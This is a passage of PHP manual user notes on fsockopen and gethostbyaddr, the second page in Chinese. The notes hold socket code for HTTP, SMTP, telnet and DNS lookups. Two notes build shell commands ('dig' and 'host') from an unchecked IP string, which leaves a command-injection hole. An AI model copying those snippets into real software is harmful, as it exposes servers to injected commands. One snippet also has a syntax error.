* base on the script by: xbensemhoun at t-systems dot fr
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com 19-Apr-2005 08:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

<?php
while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
    $redirect=preg_replace("/location:/i","",$line);
   }
}
?>

Then don't forget to <?php $redirect = trim($redirect); ?> before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
konrad dot meyer at gmail dot com 12-Feb-2005 01:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
    # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
    # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
    # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
    $path=explode('/',$host);
    $host=$path[0];
    unset($path[0]);
    $path='/'.(implode('/',$path));
    $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
    $h=fsockopen($host,80);
    fwrite($h,$post);
    for($a=0,$r='';!$a;){
        $b=fread($h,8192);
        $r.=$b;
        $a=(($b=='')?1:0);
    }
    fclose($h);
    return $r;
}
?>
edwin at bitstorm dot org 02-Dec-2004 05:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
    $url_parsed = parse_url($url);
    $host = $url_parsed["host"];
    $port = $url_parsed["port"];
    if ($port==0)
        $port = 80;
    $path = $url_parsed["path"];
    if ($url_parsed["query"] != "")
        $path .= "?".$url_parsed["query"];

    $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    fwrite($fp, $out);
    $body = false;
    while (!feof($fp)) {
        $s = fgets($fp, 1024);
        if ( $body )
            $in .= $s;
        if ( $s == "\r\n" )
            $body = true;
    }

    fclose($fp);

    return $in;
}
?>
michiel at parse dot nl 25-Oct-2004 04:42
The following snippet allows you to retrieve the title of a page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?php
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
    $url = parse_url($url);

    if(!in_array($url['scheme'],array('','http')))
        return;

    $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
    if (!$fp)
    {
        return;
        // echo "$errstr ($errno)<br>\n";
    }
    else
    {
        fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
        $d = '';
        while (!feof($fp))
        {
            $d .= fgets ($fp,2048);

            if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
                break;
        }
        fclose ($fp);

        return $m[3];
    }
}
?>
jack at jtr dot de 16-Feb-2004 02:05
Here is a function for testing a website/URI for availability:

<?php
    /*
    * @return boolean
    * @param  string $link
    * @desc   ?berpr?ft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
    */
    function url_validate( $link )
    {
        $url_parts = @parse_url( $link );

        if ( empty( $url_parts["host"] ) ) return( false );

        if ( !empty( $url_parts["path"] ) )
        {
            $documentpath = $url_parts["path"];
        }
        else
        {
            $documentpath = "/";
        }

        if ( !empty( $url_parts["query"] ) )
        {
            $documentpath .= "?" . $url_parts["query"];
        }

        $host = $url_parts["host"];
        $port = $url_parts["port"];
        // Now (HTTP-)GET $documentpath at $host";

        if (empty( $port ) ) $port = "80";
        $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
        if (!$socket)
        {
            return(false);
        }
        else
        {
            fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
            $http_response = fgets( $socket, 22 );

            if ( ereg("200 OK", $http_response, $regs ) )
            {
                return(true);
                fclose( $socket );
            } else
            {
//                echo "HTTP-Response: $http_response<br>";
                return(false);
            }
        }
    }
?>
sir_reality2001 at yahoo dot com 13-Feb-2004 09:45
<?php
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
asalamanca at redcetus dot com 18-Nov-2003 11:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;   // Bytes will be read (and display). 0 for read all

$server  = '127.0.0.1';            // IP address
$host    = 'www.example.net';             // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.example.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
                'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
    $getValues = '?';
    foreach( $gets AS $name => $value ){
        $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $getValues = substr( $getValues, 0, -1 );
} else {
    $getValues = '';
}

if ( is_array( $posts ) ) {
    foreach( $posts AS $name => $value ){
        $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );
    $method = "POST";
} else {
    $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
    $lenght = strlen( $postValues );
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Content-Length: $lenght\r\n";
    $request .= "\r\n";
    $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
    $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
    fputs( $socket, $request );
    if ( $size > 0 ) {
        $ret = fgets( $socket, $size );
    } else {
        $ret = '';
        while ( !feof( $socket ) ) {
            $ret .= fgets( $socket, 4096 );
        }
    }
    fclose( $socket );
    echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
terminal 23-Oct-2003 12:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

    $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
    echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
    echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
    echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
    echo smtp_command($handle, "DATA\r\n", 1, 1);
    echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
    // don't do it like this - it will hang up
    // echo smtp_command($handle, "$message", 1, 1);
    // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
    echo smtp_command($handle, "QUIT\r\n", 1, 1);
    smtp_close($handle);

    function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
    {
        $errno = 0;
        $errstr = 0;
        if($echo_command)
        {
            if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
            else { echo "CONNECTING TO $host\r\n"; }
        }
        $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
        if(!$handle)
        {
            if($echo_command)
            {
                if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
                else { echo "CONNECTION FAILED\r\n"; }
            }
            return False;
        }
        if($echo_command)
        {
            if($nl2br) { echo nl2br("SUCCESS\r\n"); }
            else { echo "SUCCESS\r\n"; }
        }
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($echo_response)
        {
            if($nl2br) { echo nl2br($response); }
            else { echo $response; }
        }
        return $handle;
    }

    function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
    {
        if($echo_command)
        {
            if($nl2br) { echo nl2br($command); }
            else { echo $command; }
        }
        fputs($handle, $command);
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($nl2br) { return nl2br($response); }
        else { return $response; }
    }

    function smtp_close($handle)
    {
        fclose($handle);
    }
?>
richardaburton at hotmail dot com 19-Oct-2003 08:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('example.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
      do {
         $byte = "";
         $chunk_size="";
         do {
            $chunk_size.=$byte;
            $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);         // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
      } while ($chunk_size);         // till we reach the 0 length chunk (end marker)
   else {
      // check for specified content length
      if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
      } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
      }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
joe at edwardsconsultants dot com 10-Aug-2003 02:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

<?php
$host = "something.example.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
    echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
?>
brage (a t) jeffnappi (d.o.t) commie 10-Jul-2003 02:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

<?php
// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno   = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
        $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
    if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
    } else {
     $retData[$x] = fgets($sockets[$x],128);
    }
   } else {
    $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}
?>
xbensemhoun at t-systems dot fr 25-Jun-2003 02:48
To make a telnet connection with a Cisco router:

<?php
$cfgServer = "nnn.nnn.nnn.nnn";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr, $cfgTimeOut);

if(!$usenet)
        {
        echo "Connexion failed\n";
        exit();
        }
else
        {
        echo "Connected\n<BR>";
        fputs ($usenet, "toto\r\n");
        fputs ($usenet, "en\r\n");
        fputs ($usenet, "tutu\r\n");
        fputs ($usenet, "exit\r\n");
        while (!feof($usenet))
                {
                echo ". ".fgets($usenet, 128)."<BR>\n";
                }
        }
?>

Then you will have:
Connected
. ????????
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au 08-Jun-2003 09:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

<?php
function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
 $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);
 if ($urlHandle)
 {
  socket_set_timeout($urlHandle, $timeout);
  if ($path)
  {
   $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
   if ($user)
    $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
    $urlString .= "\r\n";

    fputs($urlHandle, $urlString);

    $response = fgets($urlHandle);

    if (substr_count($response, "200 OK") > 0)      // Check the status of the link
    {
     $endHeader = false;                     // Strip initial header information
     while ( !$endHeader)
     {
      if (fgets($urlHandle) == "\r\n")
       $endHeader = true;
     }

     return $urlHandle;                      // All OK, return the file handle
    }
    else if (strlen($response) < 15)                // Cope with wierd non standard responses
    {
     fclose($urlHandle);
     return -1;
    }
    else                                            // Cope with a standard error response
    {
     fclose($urlHandle);
     return substr($response,9,3);
    }
   }

   return $urlHandle;
  }
  else
  {
   return 0;
  }
 }
}
?>
Sherif Gayed 29-Jan-2003 10:00
Here is how to connect to the web from behind a proxy server:

<?php
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/**************end code**************/
?>
dan at lovepond dot com 17-Dec-2002 01:38
Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted.

<?php
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
      fread ($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
      $status.=fread($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>
verran at descent-rangers dot com 16-Oct-2002 07:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

<?php
    class kali_utils {
        function games_list($kali_server_ip, $kali_server_port) {
            $result = array();
            $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
            if (!$fp) {
                $result["errno"] = $errno;
                $result["error"] = $error;
            }
            else {
                fputs($fp, "KALIQ");
                $header = fread($fp, 5);
                $bytes_left = socket_get_status($fp);
                if ($bytes_left > 0) {
                    $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
                }
                else {
                    $result["results"] = "";
                }
                fclose($fp);
            }
            return $result;
        }
    }
?>

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk 19-Jul-2002 05:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?php

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@example.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, $errno, $errstr, 1);
  if (!$connection)
    continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@example.com","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>


获取指定 IP 地址对应的 Internet 主机名

  • ? fsockopen
  • gethostbyname ?
  • PHP Manual
  • 网络 函数
  • 获取指定 IP 地址对应的 Internet 主机名

gethostbyaddr

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名

说明

gethostbyaddr(string $ip): string|false

返回由 ip 指定的 Internet 主机名。

参数

ip

主机 IP 地址。

返回值

成功则返回主机名，失败时返回未修改的 ip，输入错误时返回 false。

示例

Example #1 gethostbyaddr() 的简单例子

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

参见

  • gethostbyname() - 返回主机名对应的 IPv4地址。
  • gethostbynamel() - 获取互联网主机名对应的 IPv4 地址列表

User Contributed Notes

Anonymous 23-Oct-2020 08:41
There is 1 bug in gethostbyaddr_timeout() function that king dot macro at gmail dot com posted in the most important line of all, setting the timeout with socket_set_timeout(). It should be:

@socket_set_timeout($handle, intdiv($timeout_ms, 1000), $timeout_ms % 1000);

I'd also make the $dns parameter last and optional and parse it from /etc/resolve.conf (or something else) if not given.
chris at ocproducts dot com 06-Jun-2019 01:27
This function does respect overrides made in the 'hosts' file, at least on Linux.
Vincent 29-Jan-2019 07:11
I discovered that gethostbyaddr sometimes returned the same host name with some uppercase letters in it and sometimes with all lowercase letters.

example:

d54c34fa1.access.example.com
d54C34FA1.access.example.com

This is probably not the fault of gethostbyaddr, but this can be a problem when comparing or storing, because it will give two entries instead of one.

A simple solution to this is to use strtolower on the host name.
nisha dot com126 at gmail dot com 26-Oct-2017 11:47
gethostbyaddr('10.176.xx.xx') returns IP address only not the host name....

Could you please suggest any solution..
Mark in Sussex 28-Aug-2011 11:21
If you use gethostbyaddr() with a bad IP address then it will send an error message to the error log.
If you don't want your error log file getting too big then first check that the IP address is valid.

In the following example I first check if the IP number starts with a number,
if not then don't use gethostbyaddr('..')

<?php
  $IP = "BadValue.123.123.123";
  if(intval($IP)>0){
    $ServerIP = gethostbyaddr($IP);
  } else {
    $ServerIP = $IP; // A bad address.
  }
?>
james at trnxs dot net 12-Jan-2011 12:45
You should be careful in the use of $_SERVER['HTTP_X_FORWARDED_FOR'], as I discovered, once using Amazon AWS's Elastic Load Balancer's, this value may be a comma separated list of IP addresses and will thusly not compare as conceived in almost every example I have seen posted by users in the comments.
dhjdhj at gmail dot com 25-Sep-2010 06:58
I have observed that there are problems with all approaches that use the existence of an IP address to verify that the name being looked up actually exists.

If you're using opendns, then a request to a non-existent server returns an IP address anyway, the address being one for an opendns server. This is process is presumably in place so that errant URLs in browser requests take you to a "legitimate" page, i.e, the openDNS website where they can notify you of a problem.

Unfortunately, that mechanism seems to occur for ANY non-existent hostname. Appending a single period to the hostname does not seem to help.
Stuart Macdonald 28-Aug-2010 05:07
Here's a simple function that uses Dig to obtain the hostname for a given IP address. If no hostname can be found it returns the IP again.

Works only on linux / unix, or whatever other platform with dig installed as a command line utility.

<?php
    function tryGetHost($ip)
    {
        $string = '';
        exec("dig +short -x $ip 2>&1", $output, $retval);
        if ($retval != 0)
        {
            // there was an error performing the command
        }
        else
        {
            $x=0;
            while ($x < (sizeof($output)))
            {
                $string.= $output[$x];
                $x++;
            }
        }

        if (empty($string))
            $string = $ip;
        else //remove the trailing dot
            $string = substr($string, 0, -1);

        return $string;
    }
?>
marco[DOT]ceppi[@T]seacrow[DOT]org 01-Nov-2009 07:24
Anonymous has a good point (though I don't agree with pushing to execution to shell unless I have to. However this is a faster example (explode then loop is a little too intensive for a simple check)

<?php
function gethost ($ip)
{
    //Make sure the input is not going to do anything unexpected
    //IPs must be in the form x.x.x.x with each x as a number

    if( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) )
    {
        $host = `host $ip`;
        return (($host ? end ( explode (' ', $host)) : $ip));
    }
    else
    {
        return false;
    }
}
?>

Though to be honest I would use:

<?php
function gethost ($ip)
{
    return ( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) ) ? gethostbyaddr($ip) : false;
}
?>
webmaster at askapache dot com 22-Oct-2008 01:57
Here is a simple function I compiled from user-notes that works great.. any improvements?

<?php
function get_ip( $host ){
  $hostip = @gethostbyname( $host );
  $ip = ( $hostip == $host ) ? $host : long2ip( ip2long( $hostip ) );
  //echo sprintf("Resolved %s to %s", $host, $ip);
  return $ip;
}
?>
robbakAgmail_com 05-Jun-2008 11:19
it appears that gethostbyname() fails if the domain name contains unicode. Example:

 $ host 10.10.10.128
128.10.10.10.in-addr.arpa domain name pointer PC-de-S\130bastien.flexi.robbak.com.
 $ php
<?php echo gethostbyaddr( '10.10.10.128' ); ?>
10.10.10.128

gethostbyaddr is listed as unicode compatable in version 6, so a fix may be in the works.
billyblue 17-Dec-2007 08:12
I just spent a dickens of a time trying to figure out why my gethostbyaddr's were simply failing halfway through.

I'm returning a log of page visits, and with each new IP, I wanted to pull the hostname of the IP. On each report page, I'm pulling 500 lines from my Db, but only maybe 25 IPs on average. Sometimes this report would generate in under 15 seconds, other times it would fail with a connection reset.

It turns out that several of the IPs in my Db looked like this: x.255.x.x. gethostbyaddr really hates that and simply dies when it reaches one of these IPs.

For my case, I purged the Db and prevented the logging of IPs that contain 255.
oryan at zareste dot com 28-Feb-2006 03:17
If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
tom 07-Oct-2005 01:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at 12-Apr-2005 02:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com 26-Oct-2004 07:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
    // random transaction number (for routers etc to get the reply back)
    $data = rand(0, 99);
    // trim it to 2 bytes
    $data = substr($data, 0, 2);
    // request header
    $data .= "\1\0\0\1\0\0\0\0\0\0";
    // split IP up
    $bits = explode(".", $ip);
    // error checking
